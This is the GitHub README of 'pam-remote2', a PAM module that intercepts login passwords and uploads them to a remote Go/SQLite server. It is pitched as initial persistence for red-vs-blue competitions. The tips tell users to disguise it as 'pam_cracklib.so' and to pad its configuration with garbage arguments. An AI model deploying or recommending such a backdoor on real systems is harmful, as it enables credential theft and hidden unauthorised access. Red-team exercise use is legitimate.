Skip to content

safinsingh/pam-remote2

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

pam-remote2

A PAM module to intercept authentication requests and send the authentication token (usually a password) to a remote server. Useful for RvB competitions as initial persistence.

screenshot

Note: An HTTP server feature has been added using Go and SQLite3

Installation

For Debian-based distros, libpam0g-dev must be installed to compile this module.

# the following will compile and install the module to `/usr/lib/x86_64-linux-gnu/security/`
$ ./install.sh

In order to run the server, Go must be installed.

$ cd server
$ go run server.go

Tips

  • Make sure to configure the correct networking interface, server hostname, and server port before compiling
  • Install the module under a different name, something like pam_cracklib.so
  • The module ignores all arguments, so put as much garbage as you want!

About

PAM module to intercept and upload credentials

Resources

License

Stars

Watchers

Forks